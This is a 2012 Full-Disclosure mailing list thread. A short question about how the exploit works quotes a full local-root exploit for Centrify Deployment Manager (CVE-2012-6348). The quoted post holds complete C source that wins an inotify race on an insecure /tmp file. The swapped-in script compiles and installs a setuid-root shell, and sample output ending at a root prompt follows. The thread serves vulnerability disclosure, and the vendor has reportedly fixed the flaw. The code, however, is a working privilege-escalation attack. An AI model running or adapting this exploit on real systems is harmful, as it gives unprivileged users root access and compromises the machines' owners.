Could you explain me how it works? It looks like you create a file, which will be chown'd to root by the system, right?
Am 18.12.2012 21:56, schrieb Larry W. Cashdollar: > These guys were really cool about it, probably one of the best vendor > responses I've gotten. I am seeing if > I can go to the next iteration of training. =-> > > On Dec 18, 2012, at 12:51 PM, Jeffrey Walton <noloa...@gmail.com> wrote: > >> I've got a feeling you will not be sent to anymore vendor classes :) >> >> On Tue, Dec 18, 2012 at 3:49 PM, Larry W. Cashdollar <lar...@me.com >> <mailto:lar...@me.com>> wrote: >> > /*Local root exploit for Centrify Deployment Manager v2.1.0.283 >> local root, >> > Centrify released a fix very quickly - nice vendor response. >> > >> > http://vapid.dhs.org/exploits/centrify_local_r00t.c >> > >> > CVE-2012-6348 12/17/2012 >> > >> http://vapid.dhs.org/advisories/centrify_deployment_manager_insecure_tmp2.html >> > Greetings vladz, Thanks for the inotify & syscall technique. >> > >> > This exploit based on http://vladz.devzero.fr/010_bzexe-vuln.php >> > >> > Run the exploit and wait for administrator to analyse or deploysoftware >> > to the system. >> > >> > larry@h0g:~/code/exploit$ ./cent_root centrify.cmd.0 >> > [*] Launching attack against "centrify.cmd.0" >> > [+] Creating evil script (/tmp/evil) >> > [+] Creating target file (/bin/touch /tmp/centrify.cmd.0) >> > [+] Initialize inotify >> > [+] Waiting for root to launch "centrify.cmd.0" >> > [+] Opening root shell (/tmp/sh) >> > # >> > >> > Larry W. Cashdollar >> > @_larry0 >> > */ >> > >> > >> > #include <stdlib.h> >> > #include <stdio.h> >> > #include <unistd.h> >> > #include <sys/stat.h> >> > #include <sys/types.h> >> > #include <string.h> >> > #include <sys/inotify.h> >> > #include <fcntl.h> >> > #include <sys/syscall.h> >> > >> > /*Create a small c program to pop us a root shell*/ >> > int create_nasty_shell(char *file) { >> > char *s = "#!/bin/bash\n" >> > "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" >> > "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" >> > "chmod 4755 /tmp/sh;\n"; >> > >> > int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); >> > write(fd, s, strlen(s)); >> > close(fd); >> > >> > return 0; >> > } >> > >> > >> > int main(int argc, char **argv) { >> > int fd, wd; >> > char buf[1], *targetpath, *cmd, >> > *evilsh = "/tmp/evil", *trash = "/tmp/trash"; >> > >> > if (argc < 2) { >> > printf("Usage: %s <target file> \n", argv[0]); >> > return 1; >> > } >> > >> > printf("[*] Launching attack against \"%s\"\n", argv[1]); >> > >> > printf("[+] Creating evil script (/tmp/evil)\n"); >> > create_nasty_shell(evilsh); >> > >> > targetpath = malloc(sizeof(argv[1]) + 6); >> > cmd = malloc(sizeof(char) * 32); >> > sprintf(targetpath, "/tmp/%s", argv[1]); >> > sprintf(cmd,"/bin/touch %s",targetpath); >> > printf("[+] Creating target file (%s)\n",cmd); >> > system(cmd); >> > >> > printf("[+] Initialize inotify\n"); >> > fd = inotify_init(); >> > wd = inotify_add_watch(fd, targetpath, IN_ATTRIB); >> > >> > printf("[+] Waiting for root to change perms on \"%s\"\n", argv[1]); >> > syscall(SYS_read, fd, buf, 1); >> > syscall(SYS_rename, targetpath, trash); >> > syscall(SYS_rename, evilsh, targetpath); >> > >> > inotify_rm_watch(fd, wd); >> > >> > printf("[+] Opening root shell (/tmp/sh)\n"); >> > sleep(2); >> > system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); >> > >> > return 0; >> > } > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/